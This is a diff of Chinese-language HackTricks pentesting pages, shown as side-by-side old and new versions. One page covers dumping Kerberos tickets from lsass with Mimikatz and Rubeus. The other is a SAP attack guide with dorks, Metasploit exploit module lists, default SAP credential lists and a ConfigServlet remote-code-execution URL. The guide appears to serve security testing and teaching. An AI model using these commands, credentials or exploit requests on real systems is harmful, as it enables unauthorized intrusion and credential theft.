* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) * [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,29 +1,30 @@
# 从Windows中获取票据 # 从Windows中提取票证
{% hint style="success" %}
学习与实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
Windows中的票据由**lsass**本地安全性机构子系统服务进程管理和存储负责处理安全策略。要提取这些票据需要与lsass进程进行交互。非管理员用户只能访问自己的票据而管理员有权限提取系统上的所有票据。为此通常使用**Mimikatz**和**Rubeus**工具,它们提供不同的命令和功能。 Windows中的票证由**lsass**本地安全授权子系统服务进程管理和存储该进程负责处理安全策略。要提取这些票证必须与lsass进程进行交互。非管理员用户只能访问自己的票证而管理员则有权提取系统上的所有票证。对于此类操作工具**Mimikatz**和**Rubeus**被广泛使用,每种工具提供不同的命令和功能。
### Mimikatz ### Mimikatz
Mimikatz是一个多功能工具可以与Windows安全进行交互。它不仅用于提取票,还用于各种其他与安全相关的操作。 Mimikatz是一个多功能工具可以与Windows安全进行交互。它不仅用于提取票,还用于各种其他与安全相关的操作。
```bash ```bash
# Extracting tickets using Mimikatz # Extracting tickets using Mimikatz
sekurlsa::tickets /export sekurlsa::tickets /export
``` ```
### Rubeus ### Rubeus
Rubeus是一款专门针对Kerberos交互和操作的工具。它用于票据提取和处理以及其他与Kerberos相关的活动。 Rubeus 是一个专门为 Kerberos 交互和操作量身定制的工具。它用于票证提取和处理,以及其他与 Kerberos 相关的活动。
```bash ```bash
# Dumping all tickets using Rubeus # Dumping all tickets using Rubeus
.\Rubeus dump .\Rubeus dump
@ -42,21 +43,22 @@ Rubeus是一款专门针对Kerberos交互和操作的工具。它用于票据提
# Converting a ticket to hashcat format for offline cracking # Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET> .\Rubeus.exe hash /ticket:<BASE64_TICKET>
``` ```
在使用这些命令时,请确保将 `<BASE64_TICKET>``<luid>` 等占位符替换为实际的 Base64 编码票证和登录 ID。这些工具提供了广泛的功能用于管理票证与 Windows 的安全机制进行交互。 在使用这些命令时,请确保将占位符如 `<BASE64_TICKET>``<luid>` 替换为实际的 Base64 编码票证和登录 ID。这些工具提供了广泛的功能用于管理票证与 Windows 的安全机制进行交互。
## 参考资料 ## 参考文献
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) * [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,42 +1,44 @@
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
# SAP简介
SAP代表数据处理中的系统应用和产品。SAP根据定义既是ERP企业资源规划软件的名称也是公司的名称。 # 关于 SAP 的介绍
SAP系统由多个完全集成的模块组成几乎涵盖了业务管理的方方面面。
每个SAP实例或SID由三层组成数据库、应用和表示层\), 每个系统通常由四个实例组成开发、测试、QA和生产 SAP 代表数据处理中的系统应用和产品。根据定义SAP 也是 ERP企业资源规划软件的名称以及公司的名称
每个层面都可以在一定程度上被利用,但**攻击数据库**可以获得最大的效果 SAP 系统由多个完全集成的模块组成,几乎涵盖了业务管理的每个方面
每个SAP实例被划分为客户端。每个客户端都有一个名为SAP\*的用户这是应用程序中“root”的等价物。 每个 SAP 实例(或 SID由三层组成数据库、应用程序和演示每个环境通常由四个实例组成开发、测试、质量保证和生产。
在初始创建时此用户SAP\*会获得一个默认密码“060719992”更多默认密码如下 每一层在某种程度上都可以被利用,但通过 **攻击数据库** 可以获得最大的效果。
如果您知道在测试或开发环境中这些**密码经常没有更改**,您会感到惊讶!
尝试使用用户名&lt;SID&gt;adm访问任何服务器的shell。 每个 SAP 实例被划分为多个客户端。每个客户端都有一个用户 SAP\*,这是应用程序的“根”相当于。
暴力破解可能有所帮助,但可能存在账户锁定机制。 在初始创建时,这个用户 SAP\* 获得一个默认密码“060719992”更多默认密码见下文
如果你知道这些 **密码在测试或开发环境中并不常更改**,你会感到惊讶!
尝试使用用户名 &lt;SID&gt;adm 访问任何服务器的 shell。
暴力破解可能有帮助,但可能会有账户锁定机制。
# 发现 # 发现
> 下一节主要来自[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)用户shipcod3的内容 > 下一部分主要来自 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) 的用户 shipcod3
* 检查应用范围或程序简介以进行测试。注意主机名或系统实例以连接到SAP GUI * 检查应用程序范围或测试的程序简要。注意连接到 SAP GUI 的主机名或系统实例
* 使用OSINT开源情报、Shodan和Google Dorks检查文件、子域和有趣的信息如果应用程序面向互联网或公共 * 使用 OSINT开源情报、Shodan 和 Google Dorks 检查文件、子域和有价值的信息,如果应用程序是面向互联网或公开的
```text ```text
inurl:50000/irj/portal inurl:50000/irj/portal
inurl:IciEventService/IciEventConf inurl:IciEventService/IciEventConf
@ -46,19 +48,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine https://www.shodan.io/search?query=SAP+J2EE+Engine
``` ```
* 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的样子 * 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的样子
![SAP 登录界面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg) ![SAP 登录屏幕](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* 使用 nmap 检查开放端口和已知服务sap 路由器webdynproweb 服务web 服务器等) * 使用 nmap 检查开放端口和已知服务sap 路由器、webdnypro、web 服务、web 服务器等)。
* 如果有 web 服务器运行爬取 URL。 * 如果有运行的 web 服务器,爬取 URL。
* 如果某些端口上有 web 服务器,请对目录进行模糊测试(可以使用 Burp Intruder。以下是 SecLists 项目提供的一些用于查找默认 SAP ICM 路径和其他有趣目录或文件的好字典列表 * 如果某些端口上有 web 服务器,请模糊测试目录(可以使用 Burp Intruder。以下是 SecLists 项目提供的一些优秀字典,用于查找默认 SAP ICM 路径和其他有趣目录或文件:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* 使用 SAP SERVICE DISCOVERY 辅助 Metasploit 模块枚举 SAP 实例/服务/组件: * 使用 SAP SERVICE DISCOVERY 辅助 Metasploit 模块枚举 SAP 实例/服务/组件:
```text ```text
msf > use auxiliary/scanner/sap/sap_service_discovery msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options msf auxiliary(sap_service_discovery) > show options
@ -75,12 +77,12 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
``` ```
## 测试 Thick Client / SAP GUI ## 测试厚客户端 / SAP GUI
以下是连接到 SAP GUI 的命令 这是连接到 SAP GUI 的命令
`sapgui <sap 服务器主机名> <系统编号>` `sapgui <sap server hostname> <system number>`
* 检查默认凭据在 Bugcrowd 的漏洞评级分类中,这被视为 P1 -&gt; 服务器安全配置错误 \| 使用默认凭据 \| 生产服务器: * 检查默认凭据 \(在 Bugcrowd 的漏洞评级分类中,这被视为 P1 -&gt; 服务器安全配置错误 \| 使用默认凭据 \| 生产服务器\):
```text ```text
# SAP* - High privileges - Hardcoded kernel user # SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:* SAP*:06071992:*
@ -131,34 +133,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001 DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001
``` ```
* 运行Wireshark然后使用您获取的凭据对客户端SAP GUI进行身份验证因为一些客户端在没有SSL的情况下传输凭据。已知有两个Wireshark插件可以解析SAP DIAG协议使用的主要标头SecureAuth Labs SAP dissection插件和Positive Research Center的SAP DIAG插件。 * 运行 Wireshark然后使用您获得的凭据对客户端SAP GUI进行身份验证因为某些客户端在没有 SSL 的情况下传输凭据。有两个已知的 Wireshark 插件可以解析 SAP DIAG 协议使用的主要头部SecureAuth Labs SAP 解析插件和 Positive Research Center 的 SAP DIAG 插件。
* 检查特权升级例如使用一些SAP事务代码tcodes来针对低特权用户进行操作: * 检查特权提升,例如使用某些 SAP 事务代码tcodes对低权限用户进行操作:
* SU01 - 用于创建和维护用户 * SU01 - 创建和维护用户
* SU01D - 用于显示用户 * SU01D - 显示用户
* SU10 - 用于批量维护 * SU10 - 批量维护
* SU02 - 用于手动创建配置文件 * SU02 - 手动创建配置文件
* SM19 - 安全审计 - 配置 * SM19 - 安全审计 - 配置
* SE84 - SAP R/3授权信息系统 * SE84 - SAP R/3 授权信息系统
* 检查是否可以在客户端执行系统命令/运行脚本。 * 检查是否可以在客户端执行系统命令/运行脚本。
* 检查是否可以在BAPI Explorer上执行XSS攻击 * 检查您是否可以在 BAPI Explorer 上进行 XSS
# 测试Web界面 # 测试 Web 界面
* 爬取URL参见发现阶段 * 爬取 URL参见发现阶段
* 像在发现阶段那样对URL进行模糊测试。这是[http://SAP:50000/index.html](http://sap:50000/index.html)的外观 * 像在发现阶段一样模糊测试 URL。以下是 [http://SAP:50000/index.html](http://sap:50000/index.html) 的样子
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg) ![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* 寻找常见的Web漏洞参考OWASP十大因为某些地方存在XSS、RCE、XXE等漏洞。 * 查找常见的 Web 漏洞(参考 OWASP Top 10因为某些地方存在 XSS、RCE、XXE 等漏洞。
* 查看Jason Haddix的[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)以测试Web漏洞。 * 查看 Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) 以测试 Web 漏洞。
* 通过动词篡改进行身份验证绕过?也许 :) * 通过动词篡改进行身份验证绕过?也许 :)
* 打开`http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`然后点击“Choose”按钮然后在打开的窗口中按“Search”。您应该能够看到SAP用户列表(漏洞参考:[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) * 打开 `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`,然后点击“选择”按钮,然后在打开的窗口中按“搜索”。您应该能够看到 SAP 用户的列表(漏洞参考:[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 凭据是通过HTTP提交如果是则根据Bugcrowd的[漏洞评级分类](https://bugcrowd.com/vulnerability-rating-taxonomy)被视为P3基于HTTP的身份验证和会话管理不安全 \| 弱登录功能。提示:也可以查看[http://SAP:50000/startPage](http://sap:50000/startPage)或登录门户。 * 凭据是通过 HTTP 提交的吗?如果是,则根据 Bugcrowd [漏洞评级分类](https://bugcrowd.com/vulnerability-rating-taxonomy) 被视为 P3破坏的身份验证和会话管理 | 通过 HTTP 的弱登录功能。提示:也检查 [http://SAP:50000/startPage](http://sap:50000/startPage) 或登录门户 :)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* 尝试`/irj/go/km/navigation/`以查看可能的目录列表或身份验证绕过 * 尝试 `/irj/go/km/navigation/` 以获取可能的目录列表或身份验证绕过
* [http://SAP/sap/public/info](http://sap/sap/public/info)包含一些有趣的信息: * [http://SAP/sap/public/info](http://sap/sap/public/info) 包含一些有价值的信息:
```xml ```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body> <SOAP-ENV:Body>
@ -191,8 +193,8 @@ BWDEVELOPER:Down1oad:001
``` ```
# 攻击! # 攻击!
* 检查是否在旧服务器或技术上运行,如 Windows 2000。 * 检查是否运行在旧服务器或技术上,如 Windows 2000。
* 计划可能的利用/攻击,有许多用于 SAP 发现(辅助模块)和利用的 Metasploit 模块 * 计划可能的利用 / 攻击,针对 SAP 发现有很多 Metasploit 模块(辅助模块)和利用
```text ```text
msf > search sap msf > search sap
Matching Modules Matching Modules
@ -257,13 +259,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
``` ```
* 尝试使用一些已知的漏洞(查看Exploit-DB或攻击比如老但经典的“SAP ConfigServlet远程代码执行”在SAP门户中 * 尝试使用一些已知的漏洞(查看 Exploit-DB或攻击例如在 SAP Portal 中的老牌“SAP ConfigServlet 远程代码执行”
```text ```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
``` ```
![SAP配置Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg) ![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* 在执行bizploit脚本的“启动”命令之前在发现阶段,您还可以添加以下内容以执行漏洞评估: * 在发现阶段运行 bizploit 脚本的 `start` 命令之前,您还可以添加以下内容以执行漏洞评估:
```text ```text
bizploit> plugins bizploit> plugins
bizploit/plugins> vulnassess all bizploit/plugins> vulnassess all
@ -285,22 +287,22 @@ bizploit/plugins> start
bizploit/plugins> back bizploit/plugins> back
bizploit> start bizploit> start
``` ```
# 测试中其他有用的工具 # 其他有用的测试工具
* [PowerSAP](https://github.com/airbus-seclab/powersap) - 用于评估 SAP 安全性的 Powershell 工具 * [PowerSAP](https://github.com/airbus-seclab/powersap) - 用于评估SAP安全性的Powershell工具
* [Burp Suite](https://portswigger.net/burp) - 目录模糊测试和 Web 安全评估必备工具 * [Burp Suite](https://portswigger.net/burp) - 目录模糊测试和网络安全评估的必备工具
* [pysap](https://github.com/SecureAuthCorp/pysap) - 用于构建 SAP 网络协议数据包的 Python * [pysap](https://github.com/SecureAuthCorp/pysap) - 用于构造SAP网络协议数据包的Python
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - 帮助 nmap 检测 SAP/ERP * [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - 帮助nmap检测SAP/ERP
## 参考资料 ## 参考文献
* [使用 Metasploit 进行 SAP 渗透测试](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) * [使用Metasploit进行SAP渗透测试](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 用于半自动化执行 Bizploit 的脚本 * [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 一个半自动化Bizploit的脚本
* [SAP NetWeaver ABAP 安全配置第 3 部分:访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) * [SAP NetWeaver ABAP安全配置第3部分访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [ SAP 安全相关的 ABAP 事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) * [SAP安全相关的ABAP事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [攻破 SAP 门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) * [破解SAP门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [前 10 大最有趣的 SAP 漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) * [十大最有趣的SAP漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [使用 bizploit 评估 SAP 生态系统的安全性:发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) * [使用Bizploit评估SAP生态系统的安全性:发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859) * [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) * [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) * [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
@ -310,16 +312,17 @@ bizploit> start
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持HackTricks</summary>
支持 HackTricks 的其他方式: * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
支持HackTricks的其他方式 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
